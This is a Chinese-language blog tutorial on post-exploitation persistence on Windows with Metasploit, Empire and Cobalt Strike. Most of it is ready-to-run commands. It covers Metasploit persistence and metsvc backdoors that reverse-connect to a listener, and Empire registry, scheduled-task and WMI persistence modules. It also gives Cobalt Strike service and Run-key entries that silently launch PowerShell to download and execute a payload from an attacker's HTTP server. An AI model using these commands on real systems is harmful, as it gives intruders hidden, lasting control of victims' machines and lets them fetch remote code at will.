三大渗透测试框架中的权限维持

前言:三大渗透测试框架Metasploit、Empire、Cobalt Strike建立持久化连接。

Metasploit

使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种

Persistence模块

通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

在meterpreter中输入

run persistence -X -i 10 -p 5555 -r 192.168.0.1

参数解释:

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表
信息。推荐使用该参数;
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表
信息。由于权限问题,会导致添加失败,后门将无法启动。
-S:作为服务自动启动代理程序(具有SYSTEM权限)

生成的文件相关位置:

# 后门文件位置:
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

Metsvc模块

通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。

在meterpreter中输入

run metsvc -A

目标主机会开启一个Meterpreter服务。

Empire

Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类:

elevated(管理权限)、misc(杂项)、powerbreach、 userland(用户权限)

使用以下命令可以查看可利用的模块

use module persistence/

编辑注册表

(Empire: agents) > agents
(Empire: agents) > interact URL3FZBV
(Empire: URL3FZBV) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute

编辑计划任务

(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50
(Empire: powershell/persistence/elevated/schtasks) > execute

编辑wmi

(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener test
(Empire: powershell/persistence/elevated/wmi) > run

CobaltStrike

服务自启动后门

beacon中输入以下命令

sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8080/a'))\""  //Scaripted Web Delivery生成的powershell后门
sc description Name "Just For Test"         //设置服务的描述字符串
sc config Name start= auto                    //设置这个服务为自动启动
net start Name                                       //启动服务

重启服务器后,会返回一个system权限的beacon。

注册表自启动

在windows启动项注册表里面添加一个木马程序路径

beacon>getsystem
beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ
/d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((newobject net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f

在账号注销后,重新登录,界面上会出现powershell快速闪过消失,会返回一个beacon。

参考我之前的文章,注册表以下键值还能设置为自启动。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注